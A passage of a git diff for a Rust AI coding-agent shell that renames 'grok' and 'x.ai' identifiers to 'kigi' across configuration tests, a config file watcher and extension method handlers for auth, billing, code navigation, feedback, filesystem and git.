-        assert_eq!(sa.models.get("plan").unwrap(), "grok-4.5");
+        assert_eq!(sa.models.get("explore").unwrap(), "kigi-3-fast");
+        assert_eq!(sa.models.get("plan").unwrap(), "kigi-4.5");
     });
 }
 #[test]
 fn subagents_config_models_empty_when_missing() {
-    without_grok_subagents(|| {
+    without_kigi_subagents(|| {
         let config: toml::Value = toml::from_str("[subagents]\nenabled = true").unwrap();
         let sa = SubagentsConfig::resolve(false, &config, None);
         assert!(sa.enabled);
@@ -1097,11 +1097,11 @@ fn subagents_config_models_empty_when_missing() {
 }
 #[test]
 fn subagents_config_models_without_enabled() {
-    without_grok_subagents(|| {
+    without_kigi_subagents(|| {
         let config: toml::Value = toml::from_str(
                 r#"
                 [subagents.models]
-                explore = "grok-3-fast"
+                explore = "kigi-3-fast"
                 "#,
             )
             .unwrap();
@@ -1110,30 +1110,30 @@ fn subagents_config_models_without_enabled() {
             ! sa.enabled, "explicit [subagents] section without enabled should be false"
         );
         assert_eq!(sa.models.len(), 1);
-        assert_eq!(sa.models.get("explore").unwrap(), "grok-3-fast");
+        assert_eq!(sa.models.get("explore").unwrap(), "kigi-3-fast");
     });
 }
 #[test]
 fn subagents_config_models_with_env_var_enables() {
-    with_grok_subagents(
+    with_kigi_subagents(
         "1",
         || {
             let config: toml::Value = toml::from_str(
                     r#"
                 [subagents.models]
-                explore = "grok-3-fast"
+                explore = "kigi-3-fast"
                 "#,
                 )
                 .unwrap();
             let sa = SubagentsConfig::resolve(false, &config, None);
             assert!(sa.enabled, "KIGI_SUBAGENTS=1 should enable");
-            assert_eq!(sa.models.get("explore").unwrap(), "grok-3-fast");
+            assert_eq!(sa.models.get("explore").unwrap(), "kigi-3-fast");
         },
     );
 }
 #[test]
 fn subagents_config_toggle_mixed_values() {
-    without_grok_subagents(|| {
+    without_kigi_subagents(|| {
         let config: toml::Value = toml::from_str(
                 r#"
                 [subagents]
@@ -1158,7 +1158,7 @@ fn subagents_config_toggle_mixed_values() {
 }
 #[test]
 fn subagents_config_toggle_missing_defaults_to_empty() {
-    without_grok_subagents(|| {
+    without_kigi_subagents(|| {
         let config: toml::Value = toml::from_str("[subagents]\nenabled = true").unwrap();
         let sa = SubagentsConfig::resolve(false, &config, None);
         assert!(sa.enabled);
@@ -1267,7 +1267,7 @@ fn model_overrides_local_image_description_wins_over_remote() {
     );
 }
 #[test]
-fn model_overrides_default_image_description_is_grok_build() {
+fn model_overrides_default_image_description_is_kigi() {
     with_model_overrides_env(
         None,
         None,
@@ -1282,7 +1282,7 @@ fn model_overrides_default_image_description_is_grok_build() {
     );
 }
 #[test]
-fn model_overrides_default_session_summary_is_grok_build() {
+fn model_overrides_default_session_summary_is_kigi() {
     with_model_overrides_env(
         None,
         None,
@@ -1632,17 +1632,17 @@ fn model_overrides_prompt_suggestion_blank_values_are_unset() {
 /// Lock shared by every test that touches the env var read by
 /// `ToolsConfig::resolve`, so tests can't race.
 static TOOLS_ENV_LOCK: std::sync::Mutex<()> = std::sync::Mutex::new(());
-fn without_grok_respect_gitignore<T>(f: impl FnOnce() -> T) -> T {
+fn without_kigi_respect_gitignore<T>(f: impl FnOnce() -> T) -> T {
     let _guard = TOOLS_ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
     with_env_var_opt("KIGI_RESPECT_GITIGNORE", None, f)
 }
-fn with_grok_respect_gitignore<T>(value: &str, f: impl FnOnce() -> T) -> T {
+fn with_kigi_respect_gitignore<T>(value: &str, f: impl FnOnce() -> T) -> T {
     let _guard = TOOLS_ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
     with_env_var_opt("KIGI_RESPECT_GITIGNORE", Some(value), f)
 }
 #[test]
 fn tools_config_default_disabled() {
-    without_grok_respect_gitignore(|| {
+    without_kigi_respect_gitignore(|| {
         let config = toml::Value::Table(toml::map::Map::new());
         let tc = ToolsConfig::resolve(&config);
         assert!(! tc.respect_gitignore);
@@ -1650,7 +1650,7 @@ fn tools_config_default_disabled() {
 }
 #[test]
 fn tools_config_toml_disables() {
-    without_grok_respect_gitignore(|| {
+    without_kigi_respect_gitignore(|| {
         let config: toml::Value = toml::from_str("[tools]\nrespect_gitignore = false")
             .unwrap();
         let tc = ToolsConfig::resolve(&config);
@@ -1659,7 +1659,7 @@ fn tools_config_toml_disables() {
 }
 #[test]
 fn tools_config_env_var_disables() {
-    with_grok_respect_gitignore(
+    with_kigi_respect_gitignore(
         "0",
         || {
             let config = toml::Value::Table(toml::map::Map::new());
@@ -1670,7 +1670,7 @@ fn tools_config_env_var_disables() {
 }
 #[test]
 fn tools_config_env_var_overrides_toml() {
-    with_grok_respect_gitignore(
+    with_kigi_respect_gitignore(
         "1",
         || {
             let config: toml::Value = toml::from_str(
@@ -1684,7 +1684,7 @@ fn tools_config_env_var_overrides_toml() {
 }
 #[test]
 fn tools_config_env_false_overrides_toml_true() {
-    with_grok_respect_gitignore(
+    with_kigi_respect_gitignore(
         "false",
         || {
             let config: toml::Value = toml::from_str("[tools]\nrespect_gitignore = true")
@@ -1703,7 +1703,7 @@ fn roles_parse_from_toml() {
             [roles.researcher]
             description = "Deep research agent"
             default_capability_mode = "read-only"
-            model = "grok-3"
+            model = "kigi-3"
 
             [roles.implementer]
             description = "Implementation agent"
@@ -1715,7 +1715,7 @@ fn roles_parse_from_toml() {
     let researcher = cfg.get_role("researcher").unwrap();
     assert_eq!(researcher.description, "Deep research agent");
     assert_eq!(researcher.default_capability_mode.as_deref(), Some("read-only"));
-    assert_eq!(researcher.model.as_deref(), Some("grok-3"));
+    assert_eq!(researcher.model.as_deref(), Some("kigi-3"));
     assert!(researcher.prompt_file.is_none());
     let implementer = cfg.get_role("implementer").unwrap();
     assert_eq!(implementer.description, "Implementation agent");
@@ -1777,7 +1777,7 @@ fn validate_roles_passes_valid_config() {
             [roles.good]
             description = "Valid role"
             default_capability_mode = "read-write"
-            model = "grok-3"
+            model = "kigi-3"
         "#;
     let cfg: SubagentsConfig = toml::from_str(toml_str).unwrap();
     assert!(cfg.validate_roles().is_empty());
@@ -2068,7 +2068,7 @@ fn roles_coexist_with_models_and_toggle() {
     let toml_str = r#"
             enabled = true
             [models]
-            explore = "grok-fast"
+            explore = "kigi-fast"
             [toggle]
             plan = false
             [roles.researcher]
@@ -2077,7 +2077,7 @@ fn roles_coexist_with_models_and_toggle() {
         "#;
     let cfg: SubagentsConfig = toml::from_str(toml_str).unwrap();
     assert!(cfg.enabled);
-    assert_eq!(cfg.models.get("explore").map(| s | s.as_str()), Some("grok-fast"));
+    assert_eq!(cfg.models.get("explore").map(| s | s.as_str()), Some("kigi-fast"));
     assert!(! cfg.is_subagent_enabled("plan"));
     assert!(cfg.get_role("researcher").is_some());
 }
@@ -2255,10 +2255,10 @@ coding_api_base_url = "https://cli-chat-proxy.kigi.com/v1"
 [model.kigi-build]
 base_url = "https://inference.acme-corp.example/xai/v1"
 env_key = "ANTHROPIC_AUTH_TOKEN"
-model = "grok-4.5"
+model = "kigi-4.5"
 
 [models]
-default = "grok-4.5"
+default = "kigi-4.5"
 "#,
         )
         .unwrap();
@@ -2376,7 +2376,10 @@ fn apply_requirements_value_overrides_user_settings() {
         Some("https://managed-proxy.example/v1"), cfg.endpoints.coding_api_base_url
         .as_deref()
     );
-    assert_eq!("https://managed-api.example/v1", cfg.endpoints.api_base_url);
+    assert_eq!(
+        Some("https://managed-api.example/v1"),
+        cfg.endpoints.api_base_url.as_deref()
+    );
     assert_eq!(
         Some("https://managed-models.example/v1"), cfg.endpoints.models_base_url
         .as_deref()
@@ -2496,7 +2499,7 @@ fn validate_hooks_path_rejects_traversal_attack() {
     );
 }
 #[test]
-fn validate_hooks_path_accepts_grok_hooks_subdir() {
+fn validate_hooks_path_accepts_kigi_hooks_subdir() {
     let kigi_home = crate::util::kigi_home::kigi_home();
     let valid_path = kigi_home.join("hooks").join("my-hooks");
     let _ = std::fs::create_dir_all(&valid_path);
@@ -2532,7 +2535,7 @@ fn managed_settings_disables_features_and_requirements_overrides() {
     assert!(cfg.ui.yolo);
 }
 /// REGRESSION: external managed-settings.json is advisory, not authoritative.
-/// disableBypassPermissionsMode (-> features.disable_yolo) must NOT clamp the user's own grok yolo.
+/// disableBypassPermissionsMode (-> features.disable_yolo) must NOT clamp the user's own kigi yolo.
 #[test]
 fn managed_settings_does_not_override_user_yolo() {
     use kigi_workspace::permission::resolution::ManagedSettingsFeatures;
@@ -2582,10 +2585,10 @@ fn resolve_effective_plugins_config_gates_project_paths_on_folder_trust() {
     let _sim = simulate_release_build();
     let repo = tempfile::tempdir().unwrap();
     git2::Repository::init(repo.path()).unwrap();
-    let grok = repo.path().join(".kigi");
-    std::fs::create_dir_all(&grok).unwrap();
+    let kigi = repo.path().join(".kigi");
+    std::fs::create_dir_all(&kigi).unwrap();
     std::fs::write(
-            grok.join("config.toml"),
+            kigi.join("config.toml"),
             "[plugins]\npaths = [\"./proj-plugin\"]\ndisabled = [\"proj-bad\"]\n",
         )
         .unwrap();
@@ -2648,10 +2651,10 @@ fn discover_plugins_excludes_untrusted_configpath_plugin_end_to_end() {
     std::fs::create_dir_all(&plugin_dir).unwrap();
     std::fs::write(plugin_dir.join("plugin.json"), r#"{"name":"cfgpath-probe"}"#)
         .unwrap();
-    let grok = cwd.join(".kigi");
-    std::fs::create_dir_all(&grok).unwrap();
+    let kigi = cwd.join(".kigi");
+    std::fs::create_dir_all(&kigi).unwrap();
     std::fs::write(
-            grok.join("config.toml"),
+            kigi.join("config.toml"),
             format!("[plugins]\npaths = ['{}']\n", plugin_dir.display()),
         )
         .unwrap();
@@ -2711,9 +2714,9 @@ fn kill_switched_cold_cwd_stays_allowed_through_plugins_config_read() {
     let _sim = simulate_release_build();
     let repo = tempfile::tempdir().unwrap();
     git2::Repository::init(repo.path()).unwrap();
-    let grok = repo.path().join(".kigi");
-    std::fs::create_dir_all(&grok).unwrap();
-    std::fs::write(grok.join("config.toml"), "[plugins]\npaths = [\"./proj-plugin\"]\n")
+    let kigi = repo.path().join(".kigi");
+    std::fs::create_dir_all(&kigi).unwrap();
+    std::fs::write(kigi.join("config.toml"), "[plugins]\npaths = [\"./proj-plugin\"]\n")
         .unwrap();
     let cwd = repo.path();
     let remote = crate::util::config::RemoteSettings {
diff --git a/crates/codegen/kigi-shell/src/config/watcher.rs b/crates/codegen/kigi-shell/src/config/watcher.rs
index 14d3908..2478326 100644
--- a/crates/codegen/kigi-shell/src/config/watcher.rs
+++ b/crates/codegen/kigi-shell/src/config/watcher.rs
@@ -71,7 +71,7 @@ pub enum ConfigChangeEvent {
     AuthChanged,
     GlobalConfigChanged,
     /// `~/.kigi/models_cache.json` changed — the on-disk `/v1/models`
-    /// catalog cache was rewritten, possibly by **another** grok process
+    /// catalog cache was rewritten, possibly by **another** kigi process
     /// sharing the same `~/.kigi` (the writer may also be this process;
     /// the [`ModelsManager`](crate::agent::models::ModelsManager) dedupes
     /// by content before applying).
@@ -229,7 +229,7 @@ impl ConfigFileWatcher {
                 tracing::warn!(
                     path = %kigi_home.display(),
                     error = %e,
-                    "failed to watch grok home directory"
+                    "failed to watch kigi home directory"
                 )
             })
             .ok()?;
@@ -357,10 +357,10 @@ fn watch_cwd_dirs(debouncer: &mut Debouncer<AccessFilteredWatcher>, cwd: &Path)
     if let Err(e) = debouncer.watcher().watch(cwd, RecursiveMode::NonRecursive) {
         log_watch_error(&e, "failed to watch project cwd (non-recursive)");
     }
-    let grok_dir = cwd.join(".kigi");
+    let kigi_dir = cwd.join(".kigi");
     if let Err(e) = debouncer
         .watcher()
-        .watch(&grok_dir, RecursiveMode::NonRecursive)
+        .watch(&kigi_dir, RecursiveMode::NonRecursive)
     {
         log_watch_error(
             &e,
@@ -376,8 +376,8 @@ fn unwatch_cwd_dirs(debouncer: &mut Debouncer<AccessFilteredWatcher>, cwd: &Path
     if let Err(e) = debouncer.watcher().unwatch(cwd) {
         tracing::debug!(error = %e, "failed to unwatch project cwd");
     }
-    let grok_dir = cwd.join(".kigi");
-    if let Err(e) = debouncer.watcher().unwatch(&grok_dir) {
+    let kigi_dir = cwd.join(".kigi");
+    if let Err(e) = debouncer.watcher().unwatch(&kigi_dir) {
         tracing::debug!(error = %e, "failed to unwatch project .kigi directory");
     }
 }
@@ -752,7 +752,7 @@ mod tests {
 
     /// A write to `<kigi_home>/models_cache.json` must surface as
     /// `ConfigChangeEvent::ModelsCacheChanged` so a long-running leader can
-    /// hot-load a catalog fetched by another grok process.
+    /// hot-load a catalog fetched by another kigi process.
     #[test]
     #[cfg_attr(
         target_os = "macos",
@@ -845,11 +845,11 @@ mod tests {
     fn project_cwd_toml_triggers_reload() {
         let kigi_home = TempDir::new().unwrap();
         let cwd = TempDir::new().unwrap();
-        let project_grok = cwd.path().join(".kigi");
-        fs::create_dir_all(&project_grok).unwrap();
+        let project_kigi = cwd.path().join(".kigi");
+        fs::create_dir_all(&project_kigi).unwrap();
         // Seed the file before the watcher starts so we observe the
         // modification rather than the creation event.
-        fs::write(project_grok.join("config.toml"), "").unwrap();
+        fs::write(project_kigi.join("config.toml"), "").unwrap();
 
         let (_w, mut rx) = ConfigFileWatcher::start(
             kigi_home.path(),
@@ -860,7 +860,7 @@ mod tests {
         .expect("watcher should start");
 
         fs::write(
-            project_grok.join("config.toml"),
+            project_kigi.join("config.toml"),
             "[mcp_servers.x]\ncommand = \"/bin/true\"",
         )
         .unwrap();
@@ -983,9 +983,9 @@ mod tests {
     fn watch_path_dynamic_registration() {
         let kigi_home = TempDir::new().unwrap();
         let new_cwd = TempDir::new().unwrap();
-        let project_grok = new_cwd.path().join(".kigi");
-        fs::create_dir_all(&project_grok).unwrap();
-        fs::write(project_grok.join("config.toml"), "").unwrap();
+        let project_kigi = new_cwd.path().join(".kigi");
+        fs::create_dir_all(&project_kigi).unwrap();
+        fs::write(project_kigi.join("config.toml"), "").unwrap();
 
         let (mut watcher, mut rx) = ConfigFileWatcher::start(
             kigi_home.path(),
@@ -998,7 +998,7 @@ mod tests {
         watcher.watch_path(new_cwd.path());
 
         fs::write(
-            project_grok.join("config.toml"),
+            project_kigi.join("config.toml"),
             "[mcp_servers.y]\ncommand = \"/bin/true\"",
         )
         .unwrap();
diff --git a/crates/codegen/kigi-shell/src/extensions/auth.rs b/crates/codegen/kigi-shell/src/extensions/auth.rs
index bcde58f..66abdb0 100644
--- a/crates/codegen/kigi-shell/src/extensions/auth.rs
+++ b/crates/codegen/kigi-shell/src/extensions/auth.rs
@@ -1,4 +1,4 @@
-//! `x.ai/auth/*` and legacy `x.ai/{get,set}ApiKey` extension handlers.
+//! `kigi/auth/*` and legacy `kigi/{get,set}ApiKey` extension handlers.
 //!
 //! These methods let the client read/write the API key via the agent and
 //! drive the OAuth login flow. The agent is the single source of truth for
@@ -14,13 +14,13 @@ use crate::session::ExtMethodResult;
 #[tracing::instrument(skip_all, fields(method = %args.method))]
 pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
     match args.method.as_ref() {
-        "x.ai/auth/getBearerToken" => handle_get_bearer_token(agent).await,
-        "x.ai/getApiKey" => handle_get_api_key(),
-        "x.ai/setApiKey" => handle_set_api_key(args),
-        "x.ai/auth/submit_code" => handle_submit_code(agent, args),
-        "x.ai/auth/get_url" => handle_get_url(agent).await,
-        "x.ai/auth/logout" => handle_logout(agent, args).await,
-        "x.ai/auth/info" => handle_info(agent),
+        "kigi/auth/getBearerToken" => handle_get_bearer_token(agent).await,
+        "kigi/getApiKey" => handle_get_api_key(),
+        "kigi/setApiKey" => handle_set_api_key(args),
+        "kigi/auth/submit_code" => handle_submit_code(agent, args),
+        "kigi/auth/get_url" => handle_get_url(agent).await,
+        "kigi/auth/logout" => handle_logout(agent, args).await,
+        "kigi/auth/info" => handle_info(agent),
         _ => Err(acp::Error::method_not_found()),
     }
 }
diff --git a/crates/codegen/kigi-shell/src/extensions/billing.rs b/crates/codegen/kigi-shell/src/extensions/billing.rs
index d9848eb..700d4b2 100644
--- a/crates/codegen/kigi-shell/src/extensions/billing.rs
+++ b/crates/codegen/kigi-shell/src/extensions/billing.rs
@@ -1,4 +1,4 @@
-//! `x.ai/billing` extension handler — Kimi Code usage/quota.
+//! `kigi/billing` extension handler — Kimi Code usage/quota.
 //!
 //! Port of kimi-cli's `/usage` command (kimi-cli `src/kimi_cli/ui/shell/usage.py`):
 //! `GET {coding_api_base_url}/usages` with the OAuth Bearer token, parsed into
@@ -17,7 +17,7 @@ use crate::agent::MvpAgent;
 /// human-readable reset hint (e.g. "resets in 2h 5m").
 ///
 /// `Deserialize` because the TUI parses this back out of the
-/// `x.ai/billing` ext response.
+/// `kigi/billing` ext response.
 #[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct UsageRow {
@@ -28,7 +28,7 @@ pub struct UsageRow {
     pub reset_hint: Option<String>,
 }
 
-/// Response for `x.ai/billing`: the parsed usage rows, in display order
+/// Response for `kigi/billing`: the parsed usage rows, in display order
 /// (summary row first when the payload carries one).
 #[derive(Debug, Clone, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
@@ -55,7 +55,7 @@ pub enum UsageError {
 #[tracing::instrument(skip_all, fields(method = %args.method))]
 pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
     match args.method.as_ref() {
-        "x.ai/billing" => {
+        "kigi/billing" => {
             tracing::info!("handling usage request");
             handle_get_usage(agent).await
         }
diff --git a/crates/codegen/kigi-shell/src/extensions/chat_conversation_history.rs b/crates/codegen/kigi-shell/src/extensions/chat_conversation_history.rs
index 63e01c3..118323c 100644
--- a/crates/codegen/kigi-shell/src/extensions/chat_conversation_history.rs
+++ b/crates/codegen/kigi-shell/src/extensions/chat_conversation_history.rs
@@ -1,4 +1,4 @@
-//! `x.ai/session/load_history`: fetch one older page of a gateway-backed
+//! `kigi/session/load_history`: fetch one older page of a gateway-backed
 //! conversation by client-owned cursor (`beforeId` → `nextBeforeId`).
 use super::ExtResult;
 use crate::agent::MvpAgent;
diff --git a/crates/codegen/kigi-shell/src/extensions/code_nav.rs b/crates/codegen/kigi-shell/src/extensions/code_nav.rs
index 67cdbb8..b2bffb9 100644
--- a/crates/codegen/kigi-shell/src/extensions/code_nav.rs
+++ b/crates/codegen/kigi-shell/src/extensions/code_nav.rs
@@ -7,11 +7,11 @@
 //!
 //! | Method | Description |
 //! |--------|-------------|
-//! | `x.ai/code/goto-definition` | Definition location(s) for symbol at position |
-//! | `x.ai/code/goto-references` | Reference location(s) for symbol at position |
-//! | `x.ai/code/find-definitions` | All definitions of a symbol by name |
-//! | `x.ai/code/find-references` | All references to a symbol by name |
-//! | `x.ai/code/status` | Indexing status |
+//! | `kigi/code/goto-definition` | Definition location(s) for symbol at position |
+//! | `kigi/code/goto-references` | Reference location(s) for symbol at position |
+//! | `kigi/code/find-definitions` | All definitions of a symbol by name |
+//! | `kigi/code/find-references` | All references to a symbol by name |
+//! | `kigi/code/status` | Indexing status |
 
 use std::path::{Path, PathBuf};
 
@@ -129,7 +129,7 @@ pub struct SymbolLocation {
     pub matched_symbol: Option<String>,
 }
 
-/// Reason string for the `x.ai/code/status` response.
+/// Reason string for the `kigi/code/status` response.
 ///
 /// Serialised as a camelCase string so clients can pattern-match on it.
 #[derive(Debug, Serialize)]
@@ -142,7 +142,7 @@ pub enum IndexStatusReason {
     NotStarted,
     /// Client type is not web (web-only for initial rollout).
     ClientNotWeb,
-    /// Client did not advertise `x.ai/codeNavigation.enabled`.
+    /// Client did not advertise `kigi/codeNavigation.enabled`.
     CapabilityNotAdvertised,
     /// `codebase_indexing` feature is disabled in config.
     DisabledByConfig,
@@ -181,7 +181,7 @@ pub async fn handle(
     use kigi_workspace::workspace_ops::*;
 
     match args.method.as_ref() {
-        "x.ai/code/goto-definition" => {
+        "kigi/code/goto-definition" => {
             let req: GotoRequest = serde_json::from_str(args.params.get())
                 .map_err(|e| acp::Error::invalid_params().data(format!("invalid params: {e}")))?;
             let cwd = resolve_cwd(agent, req.cwd.clone(), req.session_id.as_ref())?;
@@ -209,7 +209,7 @@ pub async fn handle(
             );
             to_code_nav_ext_response(result)
         }
-        "x.ai/code/goto-references" => {
+        "kigi/code/goto-references" => {
             let req: GotoRequest = serde_json::from_str(args.params.get())
                 .map_err(|e| acp::Error::invalid_params().data(format!("invalid params: {e}")))?;
             let cwd = resolve_cwd(agent, req.cwd.clone(), req.session_id.as_ref())?;
@@ -238,7 +238,7 @@ pub async fn handle(
             );
             to_code_nav_ext_response(result)
         }
-        "x.ai/code/find-definitions" => {
+        "kigi/code/find-definitions" => {
             let req: FindSymbolRequest = serde_json::from_str(args.params.get())
                 .map_err(|e| acp::Error::invalid_params().data(format!("invalid params: {e}")))?;
             let cwd = resolve_cwd(agent, req.cwd.clone(), req.session_id.as_ref())?;
@@ -268,7 +268,7 @@ pub async fn handle(
             );
             to_code_nav_ext_response(result)
         }
-        "x.ai/code/find-references" => {
+        "kigi/code/find-references" => {
             let req: FindSymbolRequest = serde_json::from_str(args.params.get())
                 .map_err(|e| acp::Error::invalid_params().data(format!("invalid params: {e}")))?;
             let cwd = resolve_cwd(agent, req.cwd.clone(), req.session_id.as_ref())?;
@@ -298,7 +298,7 @@ pub async fn handle(
             );
             to_code_nav_ext_response(result)
         }
-        "x.ai/code/status" => {
+        "kigi/code/status" => {
             let req: StatusRequest = serde_json::from_str(args.params.get())
                 .map_err(|e| acp::Error::invalid_params().data(format!("invalid params: {e}")))?;
             let cwd = resolve_cwd(agent, req.cwd.clone(), req.session_id.as_ref())?;
@@ -422,10 +422,10 @@ fn resolve_cwd(
 fn eligibility_error(reason: CodeNavEligibility) -> acp::Error {
     let msg = match reason {
         CodeNavEligibility::ClientNotWeb => {
-            "code navigation is currently only enabled for grok-web clients"
+            "code navigation is currently only enabled for kigi-web clients"
         }
         CodeNavEligibility::CapabilityNotAdvertised => {
-            "client must advertise x.ai/codeNavigation.enabled to use code navigation"
+            "client must advertise kigi/codeNavigation.enabled to use code navigation"
         }
         CodeNavEligibility::DisabledByConfig => "code navigation is disabled by configuration",
         CodeNavEligibility::NotGitRepo => {
diff --git a/crates/codegen/kigi-shell/src/extensions/debug.rs b/crates/codegen/kigi-shell/src/extensions/debug.rs
index 7f7c991..331ffb7 100644
--- a/crates/codegen/kigi-shell/src/extensions/debug.rs
+++ b/crates/codegen/kigi-shell/src/extensions/debug.rs
@@ -1,4 +1,4 @@
-//! `x.ai/debug/*` extension handlers for local client testing.
+//! `kigi/debug/*` extension handlers for local client testing.
 //!
 //! These methods bypass heuristics, sampling, cooldowns, and enabled checks
 //! so client engineers can exercise notification → response flows without
@@ -17,11 +17,11 @@ use crate::session::{ExtMethodResult, SessionCommand};
 #[tracing::instrument(skip_all, fields(method = %args.method))]
 pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
     match args.method.as_ref() {
-        "x.ai/debug/trigger_feedback" => {
+        "kigi/debug/trigger_feedback" => {
             tracing::info!("debug: triggering test feedback request");
             handle_trigger_feedback(agent, args).await
         }
-        "x.ai/debug/arm_auto_compact" => handle_arm_auto_compact(agent, args),
+        "kigi/debug/arm_auto_compact" => handle_arm_auto_compact(agent, args),
         _ => Err(acp::Error::method_not_found()),
     }
 }
diff --git a/crates/codegen/kigi-shell/src/extensions/feedback.rs b/crates/codegen/kigi-shell/src/extensions/feedback.rs
index f277373..a733559 100644
--- a/crates/codegen/kigi-shell/src/extensions/feedback.rs
+++ b/crates/codegen/kigi-shell/src/extensions/feedback.rs
@@ -1,4 +1,4 @@
-//! `x.ai/feedback`, `x.ai/feedback/dismiss`, `x.ai/btw`, and `x.ai/review/*`
+//! `kigi/feedback`, `kigi/feedback/dismiss`, `kigi/btw`, and `kigi/review/*`
 //! extension handlers.
 //!
 //! - `feedback`/`feedback/dismiss`: persist user ratings/text locally; text
@@ -28,15 +28,15 @@ use crate::session::{
 #[tracing::instrument(skip_all, fields(method = %args.method))]
 pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
     match args.method.as_ref() {
-        "x.ai/btw" => {
+        "kigi/btw" => {
             tracing::info!("handling /btw side question");
             handle_btw(agent, args).await
         }
-        "x.ai/feedback" | "x.ai/feedback/dismiss" => {
+        "kigi/feedback" | "kigi/feedback/dismiss" => {
             tracing::info!("handling user feedback");
             handle_feedback(agent, args).await
         }
-        m if m.starts_with("x.ai/review") => {
+        m if m.starts_with("kigi/review") => {
             tracing::info!("handling review comment");
             handle_review(args).await
         }
@@ -44,7 +44,7 @@ pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
     }
 }
 
-/// Handle `x.ai/btw` -- a side question that doesn't interrupt the current turn.
+/// Handle `kigi/btw` -- a side question that doesn't interrupt the current turn.
 async fn handle_btw(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
     #[derive(serde::Deserialize)]
     #[serde(rename_all = "camelCase")]
@@ -89,7 +89,7 @@ async fn handle_feedback(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult
     }
 
     match args.method.as_ref() {
-        "x.ai/feedback" => {
+        "kigi/feedback" => {
             // Parse the input -- try the full ClientFeedbackInput first,
             // then fall back to the simple FeedbackRequest (from /feedback slash command)
             // which only has {session_id, feedback_text} and no client_type.
@@ -245,7 +245,7 @@ async fn handle_feedback(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult
                 .expect("to work");
             Ok(acp::ExtResponse::new(value))
         }
-        "x.ai/feedback/dismiss" => {
+        "kigi/feedback/dismiss" => {
             let dismiss_input: FeedbackRequestDismiss = parse_params(args)?;
 
             tracing::info!(
@@ -302,11 +302,11 @@ async fn handle_feedback(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult
 /// Record inline code review events.
 ///
 /// Methods:
-/// - `x.ai/review/comment`: record a new inline code comment
-/// - `x.ai/review/comment/delete`: record a tombstone event for a deleted comment
+/// - `kigi/review/comment`: record a new inline code comment
+/// - `kigi/review/comment/delete`: record a tombstone event for a deleted comment
 async fn handle_review(args: &acp::ExtRequest) -> ExtResult {
     match args.method.as_ref() {
-        "x.ai/review/comment" => {
+        "kigi/review/comment" => {
             let request: CommentRequest = parse_params(args)?;
 
             let comment_id = uuid::Uuid::now_v7().to_string();
@@ -329,7 +329,7 @@ async fn handle_review(args: &acp::ExtRequest) -> ExtResult {
             .expect("to work");
             Ok(acp::ExtResponse::new(value))
         }
-        "x.ai/review/comment/delete" => {
+        "kigi/review/comment/delete" => {
             let request: CommentDeleteRequest = parse_params(args)?;
 
             tracing::info!(
diff --git a/crates/codegen/kigi-shell/src/extensions/fs.rs b/crates/codegen/kigi-shell/src/extensions/fs.rs
index 3079d68..3020078 100644
--- a/crates/codegen/kigi-shell/src/extensions/fs.rs
+++ b/crates/codegen/kigi-shell/src/extensions/fs.rs
@@ -169,11 +169,11 @@ async fn confine_local(
     Err(acp::Error::invalid_params().data(workspace_err.to_string()))
 }
 pub(crate) fn is_fs_method(method: &str) -> bool {
-    method.starts_with("x.ai/fs/")
+    method.starts_with("kigi/fs/")
 }
 pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
     match args.method.as_ref() {
-        "x.ai/fs/list" => {
+        "kigi/fs/list" => {
             let req = parse_params::<FsListRequest>(args)?;
             let path = resolve_path(agent, &req.path, req.session_id.as_ref())?;
             let (path, confine_root) = confine_local(agent, &path, req.session_id.as_ref()).await?;
@@ -181,7 +181,7 @@ pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
             let result = fs::list(&path, &params, confine_root).await;
             to_ext_response(result)
         }
-        "x.ai/fs/exists" => {
+        "kigi/fs/exists" => {
             let req = parse_params::<FsExistsRequest>(args)?;
             let path = resolve_path(agent, &req.path, req.session_id.as_ref())?;
             let (path, _) = match confine_local(agent, &path, req.session_id.as_ref()).await {
@@ -191,7 +191,7 @@ pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
             let result = fs::exists(&path).await;
             to_ext_response(result)
         }
-        "x.ai/fs/read_file" => {
+        "kigi/fs/read_file" => {
             let req = parse_params::<FsReadFileRequest>(args)?;
             let max_lines = req.max_lines;
             let path_str = req.path.clone();
@@ -231,7 +231,7 @@ pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
                 Err(e) => to_ext_response(Err::<FsReadFileData, _>(e)),
             }
         }
-        "x.ai/fs/write_file" => {
+        "kigi/fs/write_file" => {
             let req = parse_params::<FsWriteFileRequest>(args)?;
             let path = resolve_path(agent, &req.path, req.session_id.as_ref())?;
             let (path, _) = confine_local(agent, &path, req.session_id.as_ref()).await?;
@@ -240,7 +240,7 @@ pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
                 .map(|_| Empty {});
             to_ext_response(result)
         }
-        "x.ai/fs/delete_file" => {
+        "kigi/fs/delete_file" => {
             let req = parse_params::<FsDeleteFileRequest>(args)?;
             let path = resolve_path(agent, &req.path, req.session_id.as_ref())?;
             let (path, _) = confine_local(agent, &path, req.session_id.as_ref()).await?;
diff --git a/crates/codegen/kigi-shell/src/extensions/git.rs b/crates/codegen/kigi-shell/src/extensions/git.rs
index 55302c4..7553660 100644
--- a/crates/codegen/kigi-shell/src/extensions/git.rs
+++ b/crates/codegen/kigi-shell/src/extensions/git.rs
@@ -234,7 +234,7 @@ pub struct GitCurrentCommitRequest {
     #[serde(default)]
     pub git_root: Option<String>,
 }
-/// Request for x.ai/git/checkout_commit extension method.
+/// Request for kigi/git/checkout_commit extension method.
 #[derive(Debug, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct GitCheckoutCommitRequest {
